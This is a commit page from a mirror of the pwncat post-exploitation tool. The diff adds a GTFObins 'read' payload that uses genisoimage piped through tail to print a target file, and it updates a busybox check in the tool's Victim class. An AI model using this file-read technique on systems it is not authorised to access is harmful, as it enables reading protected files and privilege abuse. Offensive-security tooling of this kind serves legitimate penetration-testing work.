mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-30 12:24:14 +01:00
Added genisoimage as a GTFObin read
This commit is contained in:
parent
21cddc0a05
commit
c9cba4bf78
@ -800,6 +800,15 @@
|
|||||||
"args": ["open", "-e", "'{cat} {lfile}'", "rdoc"]
|
"args": ["open", "-e", "'{cat} {lfile}'", "rdoc"]
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
|
//-------------------------------------------------------------------
|
||||||
|
"genisoimage": [
|
||||||
|
{
|
||||||
|
"type": "read",
|
||||||
|
"stream" : "print",
|
||||||
|
"payload": "{command} -q -o - {lfile} | {tail} -c +49152",
|
||||||
|
"args": []
|
||||||
|
}
|
||||||
|
],
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
@ -502,7 +502,7 @@ class Victim:
|
|||||||
:return: The full path to the requested binary or None if it was not found.
|
:return: The full path to the requested binary or None if it was not found.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if self.has_busybox:
|
if self.host.busybox is not None:
|
||||||
if name in self.busybox_provides:
|
if name in self.busybox_provides:
|
||||||
if quote:
|
if quote:
|
||||||
return f"{shlex.quote(str(self.busybox_path))} {name}"
|
return f"{shlex.quote(str(self.busybox_path))} {name}"
|
||||||
|
Loading…
Reference in New Issue
Block a user